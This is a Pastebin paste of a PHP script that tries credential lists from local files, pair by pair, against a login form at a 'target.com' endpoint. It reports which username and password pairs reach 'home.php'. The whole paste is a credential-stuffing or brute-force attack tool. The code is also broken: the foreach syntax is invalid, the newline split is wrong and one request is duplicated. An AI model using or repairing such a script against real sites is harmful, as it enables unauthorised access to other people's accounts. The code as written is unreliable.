Advertisement
Guest User

Untitled

a guest
Mar 7th, 2018
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.76 KB | None | 0 0
  1. <?PHP
  2. $PASS = file('pinpass.txt', FILE_IGNORE_NEW_LINES);
  3. $USER = file('pin.txt', FILE_IGNORE_NEW_LINES);
  4.  
  5. $passes = explode("n", $PASS);
  6. $userss = explode("n", $USER);
  7. $i = 1;
  8. foreach ($passes as $pass,$userss as $user) { # Line number 9
  9.  
  10.  
  11. $url = "https://www.target.com/valiuser.php";
  12. $ch = curl_init();
  13. curl_setopt($ch, CURLOPT_URL, $url);
  14. curl_setopt ($ch, CURLOPT_POST, 1);
  15. curl_setopt ($ch, CURLOPT_POSTFIELDS, "userName=$user&password=$pass&toURL=main&fromURL=index.php");
  16. curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  17. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  18. $store = curl_exec ($ch);
  19. $content = curl_exec ($ch);
  20. echo $content;
  21. curl_close ($ch);
  22.  
  23. if (strpos($content, 'home.php') !== false) {
  24. echo $user . ": " . $pass;
  25.  
  26.  
  27. }
  28.  
  29. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement